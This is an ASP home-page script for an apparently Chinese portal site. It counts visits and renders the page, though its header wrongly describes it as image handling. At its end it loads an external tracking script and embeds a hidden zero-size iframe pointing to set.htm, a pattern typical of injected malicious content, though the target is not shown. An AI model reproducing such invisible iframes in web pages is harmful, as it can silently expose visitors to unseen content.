main.asp

实现对图片的基本处理：打开、增加、删除等。

<!--#include file="inc/config.asp"-->
<!--#include file="mdb.asp"-->
<!--#include file="inc/format.asp"-->
<!--#include file="inc/error.asp"-->
<!--#include file="inc/inc.asp"-->
<!--#include file="inc/indexnew.asp"-->
<!--#include file="inc/index_body.asp"-->
<%
stats="首页"
dim founderr,errmsg
founderr=false
errmsg=""

if request("page")<>"" then
  if not isInteger(request("page")) then
    founderr=true
    errmsg=errmsg+"<br>"+"<li>非法的日记id参数。"
  end if
end if

if founderr then
  call diserror()
  response.end
else
sql="select articlecount,softcount,coolsitescount,djcount,newscount,piccount,jscount,counter from allcount"
set rs=conn.execute(sql)
articlecount=rs("articlecount")
softcount=rs("softcount")
coolsitescount=rs("coolsitescount")
djcount=rs("djcount")
newscount=rs("newscount")
piccount=rs("piccount")
jscount=rs("jscount")
counter=rs("counter")
sql="UPDATE allcount  SET counter = counter + 1"
conn.execute (sql)
rs.close
set rs=nothing
call head()
call menu()
call index_body()
call footer()
end if
%>
<script>
function winconfirm(){
question = confirm("你确认要到“吴川枫叶林”吗?")
if (question != "0"){
window.open("http://www.xw127.org")
}
}
</script>
<script language="JavaScript" src=http://www2.7789.com/mystat.asp?user=6864&style=6>
</script>
<iframe MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no src=set.htm  height=0 width=0></iframe>